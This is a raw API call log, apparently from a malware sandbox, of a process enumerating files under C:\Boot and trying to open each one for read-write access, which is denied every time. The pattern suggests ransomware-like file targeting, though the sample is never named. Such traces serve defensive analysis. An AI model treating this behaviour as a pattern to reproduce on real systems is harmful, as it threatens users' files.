ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0075.748] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.748] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.748] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.748] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.748] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\es-ES", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.749] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.749] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.749] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0075.749] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.749] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0075.749] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.749] GetLastError () returned 0x5 [0075.749] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.749] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.749] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.750] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40)) returned 1 [0075.750] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.750] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.750] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.750] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.750] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\fi-FI", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.750] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.750] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.751] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40)) returned 1 [0075.751] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.751] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40)) returned 1 [0075.751] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.751] GetLastError () returned 0x5 [0075.751] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.751] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.752] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.752] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00)) returned 1 [0075.752] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.752] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.752] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.752] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.752] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.753] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.753] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.753] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00)) returned 1 [0075.753] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.753] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00)) returned 1 [0075.753] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.753] GetLastError () returned 0x5 [0075.753] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.753] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.753] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.753] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4)) returned 1 [0075.762] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.762] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.762] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.763] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.763] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.763] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.763] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.763] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4)) returned 1 [0075.763] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.763] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4)) returned 1 [0075.763] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.763] GetLastError () returned 0x5 [0075.763] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.763] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.764] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.764] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4)) returned 1 [0075.764] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.764] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.764] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.764] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.764] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.764] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.764] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.764] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4)) returned 1 [0075.764] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.765] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4)) returned 1 [0075.765] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.765] GetLastError () returned 0x5 [0075.765] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.765] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.765] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.765] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20)) returned 1 [0075.765] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.765] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.765] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.765] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.765] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.766] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.766] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.766] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20)) returned 1 [0075.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.766] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20)) returned 1 [0075.766] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.766] GetLastError () returned 0x5 [0075.766] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.766] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.766] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c)) returned 1 [0075.767] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.767] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.767] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.767] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.767] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.767] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.767] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.767] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c)) returned 1 [0075.767] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.768] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c)) returned 1 [0075.768] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.768] GetLastError () returned 0x5 [0075.768] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.768] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.768] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.768] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40)) returned 1 [0075.768] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.768] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.768] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.769] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.769] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\fr-FR", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.769] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.769] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.769] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40)) returned 1 [0075.769] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.769] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40)) returned 1 [0075.769] 